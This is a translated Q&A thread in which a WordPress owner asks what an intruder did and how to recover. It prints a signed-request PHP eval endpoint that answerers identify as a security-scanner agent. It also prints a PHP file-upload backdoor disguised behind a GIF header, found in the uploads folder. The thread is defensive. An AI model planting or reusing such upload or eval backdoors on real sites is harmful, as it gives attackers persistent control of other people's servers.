我的wordpress被黑了,但是黑客做了什么以及如何防止/修复损坏

时间:2011-11-23 23:09:27

标签: wordpress security

我在服务器上看到了高负载并查看了apache服务器状态,并看到了一个帖子/2c1067813c6d8d0f28e13f0ce2c024fcbc17267b.php占用了12%的cpu。我关闭了apache,移动了文件,阻止了我的htaccess中的那个人,现在我想知道造成了什么损坏。看起来该文件已添加4天前

<?php
define('PAS_RES', 'twentycharacterhash');
define('PAS_REQ', 'anothertwentycharacterhash');
define('RSA_LEN', '256');
define('RSA_PUB', '65537');
define('RSA_MOD', '104794000726189251970535248702278838322004964525979459116994208185097637663513');

define('DEFLATE_RESPONSE_DATA', True);

header('Content-type: application/json');
error_reporting(0);
$version=2;$requestId='0';$jsonRPCVer='2.0';

if(!function_exists('property_exists'))
{ 
    function property_exists($class, $property)
    { 
        if(is_object($class))$vars=get_object_vars($class); 
        else $vars=get_class_vars($class); 
        return array_key_exists($property, $vars); 
    } 
} 
function senzorErrorHandler($errno, $errstr, $errfile, $errline)
{
    switch ($errno)
    {
        case E_NOTICE:
        case E_USER_NOTICE:
        case E_WARNING:
        case E_USER_WARNING:
            return True;        
        case E_ERROR:
            $code = 0;
            break;
        case E_USER_ERROR:
            $code = 1;
            break;
        default:
            $code = 2;
    }       
    if(function_exists('json_encode'))
    {
        $message = "{$errstr} ({$errfile} Line: {$errline})";
        $response = json_encode(array('jsonrpc' => $GLOBALS['jsonRPCVer'],'id'=>$GLOBALS['requestId'],'error'=>array('code'=>$code,'message'=> $message)));
    }
    else
    {
        $message = "{$errstr}";
        $response = "{\"jsonrpc\":{$GLOBALS['jsonRPCVer']},\"id\":{$GLOBALS['requestId']},\"error\":{\"code\":{$code},\"message\":\"{$message}\"}}";
    }
    die($response);
}

set_error_handler("senzorErrorHandler");
if(!function_exists('json_encode'))
{   
    if (!file_exists("compat/json.php"))    
        trigger_error("#COMPAT-JSON#", E_USER_ERROR);    
    require_once("compat/json.php");
    function json_encode($data)
    {
        $json = new Services_JSON();
        return($json->encode($data));
    }
}
if(!function_exists('json_decode'))
{
    if(!file_exists("compat/json.php")) 
        trigger_error("#COMPAT-JSON#", E_USER_ERROR);   
    function json_decode($data)
    {
        $json = new Services_JSON();
        return($json->decode($data));
    }
}

if(function_exists('bcmod'))
    define('BCMOD', true);
else
    {
        if(!file_exists("compat/array_fill.php")||!file_exists("compat/bcpowmod.php")||!file_exists("compat/biginteger.php")) 
            trigger_error("#COMPAT-BI#", E_USER_ERROR);
        require_once("compat/array_fill.php");
        require_once("compat/bcpowmod.php");
        require_once("compat/biginteger.php");
    }

function rsa_encrypt($message, $public_key, $modulus, $keylength, $notSigning = true)
{
    $result = '';
    $chunkLength = intval($keylength / 8) - 11;
    for($i = 0; $i < strlen($message); $i=$i+$chunkLength)
    {
        $padded = add_PKCS1_padding(substr($message, $i, $chunkLength), $notSigning, intval($keylength/8));
        $number = binary_to_number($padded);
        $encrypted = pow_mod($number, $public_key, $modulus);
        $binary = number_to_binary($encrypted, intval($keylength/8));
        $result .= $binary;
    }
    return $result;
}
function rsa_decrypt($message, $private_key, $modulus, $keylength)
{
    $result = '';
    $chunkLength = intval($keylength/8);
    for($i = 0; $i < strlen($message); $i=$i+$chunkLength)
    {
        $number = binary_to_number(substr($message, $i, $chunkLength));
        $decrypted = pow_mod($number, $private_key, $modulus);
        $presult = number_to_binary($decrypted, $chunkLength);
        $pres = remove_PKCS1_padding($presult, $chunkLength);
        if ($pres === FALSE)
            return FALSE;
        $result .= $pres;
    }
    return $result;
}
function rsa_sign($message, $private_key, $modulus, $keylength)
{
    return rsa_encrypt($message, $private_key, $modulus, $keylength, false);
}
function rsa_verify($message, $signature, $public_key, $modulus, $keylength)
{
    $result = false;
    $result = ($message==rsa_decrypt($signature, $public_key, $modulus, $keylength));
    return $result;
}
function pow_mod($p, $q, $r)
{
    if(defined('BCMOD'))
    {
        $factors = array();
        $div = $q;
        $power_of_two = 0;
        while(bccomp($div, "0") == 1) //BCCOMP_LARGER
        {
            $rem = bcmod($div, 2);
            $div = bcdiv($div, 2);

            if($rem) array_push($factors, $power_of_two);
            $power_of_two++;
        }
        $partial_results = array();
        $part_res = $p;
        $idx = 0;
        foreach($factors as $factor)
        {
            while($idx < $factor)
            {
                $part_res = bcpow($part_res, "2");
                $part_res = bcmod($part_res, $r);
                $idx++;
            }
            array_push($partial_results, $part_res);
        }
        $result = "1";
        foreach($partial_results as $part_res)
        {
            $result = bcmul($result, $part_res);
            $result = bcmod($result, $r);
        }
        return $result;
    }
    //Math_BigInteger implementation 
    $p = new Math_BigInteger($p);
    $q = new Math_BigInteger($q);
    $r = new Math_BigInteger($r);
    $x = $p->modPow($q, $r);
    return $x->toString();
}

function add_PKCS1_padding($data, $isPublicKey, $blocksize)
{   
    $pad_length = $blocksize - 3 - strlen($data);
    if($isPublicKey)
    {
        $block_type = "\x02";   
        $padding = "";      
        for($i = 0; $i < $pad_length; $i++)
            $padding .= chr(mt_rand(1, 255));
    }
    else
    {
        $block_type = "\x01";
        $padding = str_repeat("\xFF", $pad_length);
    }   
    return "\x00" . $block_type . $padding . "\x00" . $data;
}
function remove_PKCS1_padding($data, $blocksize)
{
    #bad data length
    if(strlen($data) != $blocksize) return FALSE;
    if(($data[0]!="\0") || ( ($data[1] != "\x01") && ($data[1] != "\x02") )) return FALSE;
    #bad padding type
    $offset = strpos($data, "\0", 1);
    return substr($data, $offset + 1);
}
function binary_to_number($data)
{   
    if(defined('BCMOD'))
    {
        $base = "256";
        $radix = "1";
        $result = "0";
        for($i = strlen($data) - 1; $i >= 0; $i--)
        {
            $digit = ord($data{$i});
            $part_res = bcmul($digit, $radix);
            $result = bcadd($result, $part_res);
            $radix = bcmul($radix, $base);
        }
        return $result;
    }   
    //Math_BigInteger implementation
    $result = new Math_BigInteger();
    $p = new Math_BigInteger("0x100", 16);
    $m = new Math_BigInteger("0x01", 16);
    for($i=strlen($data)-1; $i>=0; $i--)
    {       
        if(defined('MATH_BIGINTEGER_MODE') && defined('MATH_BIGINTEGER_MODE_INTERNAL') && (MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_INTERNAL))
        {
            $d = new Math_BigInteger();
            $d->value = array(ord($data[$i]));
        }
        else $d = new Math_BigInteger(ord($data[$i]));

        $d = $d->multiply($m);
        $m = $m->multiply($p);
        $result = $result->add($d);
    }
    return $result->toString();
}

function hex_to_binary($hex, $blocksize)
{
    $result = '';
    for($i = 0; $i < (strlen($hex) - 1); $i = $i + 2)
        $result = $result . pack('H2', substr($hex, $i, 2));    
    $result = pack('H'.sprintf('%d',strlen($hex)), $hex);
    return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}

function number_to_binary($number, $blocksize)
{
    if(defined('BCMOD'))
    {
        $base = "256";
        $num = $number;
        $result = "";
        while($num > 0)
        {
            $mod = bcmod($num, $base);
            $num = bcdiv($num, $base);      
            $result = chr($mod) . $result;
        }
        return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
    }   
    //Math_BigInteger implementation
    $result = "";
    $num = new Math_BigInteger($number);
    $zero = new Math_BigInteger();
    $divider = new Math_BigInteger("0x100",16); 
    while($num->compare($zero) > 0)
    {
        list($num, $remainder) = $num->divide($divider);
        $add = $remainder->toBytes();
        if($add == '') $add = "\0";
        $result = $add . $result;
    }   
    return str_pad($result, $blocksize, "\x00", STR_PAD_LEFT);
}
function rsa_sign_b64($message, $private_key, $modulus, $keylength)
{
    return base64_encode(rsa_sign($message, $private_key, $modulus, $keylength));
}
function rsa_verify_b64($message, $signature, $public_key, $modulus, $keylength)
{
    return rsa_verify($message, base64_decode($signature), $public_key, $modulus, $keylength);
}
function rsa_encrypt_b64($message, $public_key, $modulus, $keylength)
{
    return base64_encode(rsa_encrypt($message, $public_key, $modulus, $keylength));
}
function rsa_decrypt_b64($message, $private_key, $modulus, $keylength)
{
    return rsa_decrypt(base64_decode($message), $private_key, $modulus, $keylength);
}

function get_rnd_iv($iv_len)
{
    $iv = '';
    while ($iv_len-- > 0) $iv .= chr(mt_rand(1, 255));
    return $iv;
}
function md5_encrypt($plain_text, $password, $iv_len = 16)
{
    $plain_text .= "\x13";
    $n = strlen($plain_text);
    if ($n % 16) $plain_text .= str_repeat("\0", 16 - ($n % 16));
    $i = 0;
    $enc_text = get_rnd_iv($iv_len);
    $iv = substr($password ^ $enc_text, 0, 512);
    while ($i < $n) 
    {
        $block = substr($plain_text, $i, 16) ^ pack('H*', md5($iv));
        $enc_text .= $block;
        $iv = substr($block . $iv, 0, 512) ^ $password;
        $i += 16;
    }
    return base64_encode($enc_text);
}

function md5_decrypt($enc_text, $password, $iv_len = 16)
{
    $enc_text = base64_decode($enc_text);
    $n = strlen($enc_text);
    $i = $iv_len;
    $plain_text = '';
    $iv = substr($password ^ substr($enc_text, 0, $iv_len), 0, 512);
    while ($i < $n) 
    {
        $block = substr($enc_text, $i, 16);
        $plain_text .= $block ^ pack('H*', md5($iv));
        $iv = substr($block . $iv, 0, 512) ^ $password;
        $i += 16;
    }
    return preg_replace('/\\x13\\x00*$/', '', $plain_text);
}

function handleRequest($request = '')
{   
    if((!is_string($request))||($request==''))trigger_error("#REQUEST-EMPTY#", E_USER_ERROR);       
    $request = json_decode($request);   
    if(!is_object($request))trigger_error("#REQUEST-JSON#", E_USER_ERROR);   
    if( (!property_exists($request, 'jsonrpc')) || 
        (!property_exists($request, 'id')) || 
        (!property_exists($request, 'method')) || 
        (!property_exists($request, 'params')))trigger_error("#REQUEST-JSRPC#", E_USER_ERROR);     
    $GLOBALS['requestId']=$request->id;
    if(floatval($request->jsonrpc) != 2.0) trigger_error("#REQUEST-VERSION#", E_USER_ERROR);    
    $GLOBALS['jsonRPCVer']=$request->jsonrpc;               
    if(!property_exists($request, 'sign'))trigger_error("#REQUEST-SIG#", E_USER_ERROR);         
    if(property_exists($request, 'enc'))$request->params = md5_decrypt($request->params, PAS_REQ);
    if(property_exists($request, 'def'))
    {
        if(!function_exists('gzuncompress')) trigger_error("#COMPAT-ZLIB#", E_USER_ERROR);      
        $request->params = gzuncompress($request->params);
    }   
    if(!rsa_verify_b64(sha1($request->params), $request->sign, RSA_PUB, RSA_MOD, RSA_LEN))trigger_error("#REQUEST-SIG#", E_USER_ERROR); 
    if($request->method != "execute")trigger_error("#REQUEST-METHOD#", E_USER_ERROR);   
    $result = NULL;
    $success = @eval('?>'.$request->params);
    if($success === FALSE) trigger_error("#REQUEST-PROCESSING#", E_USER_ERROR);                         
    $result = json_encode($result); 
    $response = array ('jsonrpc' => $GLOBALS['jsonRPCVer'], 'id' => $request->id);  
    if(function_exists('gzcompress') && DEFLATE_RESPONSE_DATA && (strlen($result) > 100))
    {
        $response['def'] = true;
        $result = gzcompress($result, 6);
    }           
    $result = md5_encrypt($result, PAS_RES);    
    $response['enc'] = true;
    $response['result'] = $result;
    return json_encode($response);        
}

if (($_SERVER['REQUEST_METHOD'] == 'POST')&&(!empty($_SERVER['CONTENT_TYPE']))&&(preg_match('/^application\/json/i', $_SERVER['CONTENT_TYPE'])))
    echo handleRequest(file_get_contents('php://input'));

我在服务器根目录

中创建了一个文件

410.php

<?php header('HTTP/1.0 410 Gone'); ?>

在我的.htaccess apache文件中,我添加了

RewriteEngine On
RewriteBase /


RewriteCond %{REMOTE_ADDR} ^188.138.56.125 [OR]
RewriteCond %{REMOTE_ADDR} ^188.138.56.125 
RewriteRule ^.*$ 410.php [L]

我在wp-content / uploads文件夹中也注意到带有内容的somehash.php文件

GIF89a^A^@^A^@<80>^@^@<FF><FF><FF>^@^@^@!<F9>^D^A^@^@^@^@,^@^@^@^@^A^@^A^@^@^B^BD^A^@;^@<?php $f=preg_replace('/(.*wp-content).*/i','\1',di
rname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);ech
o "14qhpo"; ?>^@;

以及包含我的wordpress文件的777权限的目录,我也删除了该文件。

我要用干净的目录中的新数据和插件重新安装我的wordpress,但是我怎样才能再次阻止它,或者更好地监控呢?黑客做了什么以及如何防止/修复损坏?

我看到其他人在这里遇到了同样的黑客http://pastebin.com/k5HUythK

编辑11/23

奇怪的是,我认为我粘贴的第一个代码可能是我刚刚安装了websitedefender.com的插件,因为现在它向我发送了“代理无响应”的电子邮件,http://wordpress.org/extend/plugins/wp-security-scan/http://wordpress.org/extend/plugins/websitedefender-wordpress-security/

如果它是合法的话,我会认为他们会注释该文件

4 个答案:

答案 0 :(得分:3)

可能是timthumb.php漏洞。如果timthumb.php文件在系统的任何位置确保它被删除。您可能已被多人攻击,因此最好备份数据库并从头开始重新安装最新版本。

要检测应用程序中的漏洞,我建议您使用Sitewatch等漏洞扫描服务或Skipfish等程序测试您的网站。

答案 1 :(得分:3)

没有什么可担心的(至少对于这个问题),因为该文件和代码是标准的websitedefender.com sitecheck文件。我猜你上传到你的网站并忘了?

答案 2 :(得分:0)

类似的事情发生在我身上。这个弱点肯定是插件,特别是akismet,还有一些seo插件。这些可以允许注射攻击或更糟。

答案 3 :(得分:-1)

您最好的选择是擦除服务器并从上次已知的良好备份中重建。没有别的东西能真正值得信赖。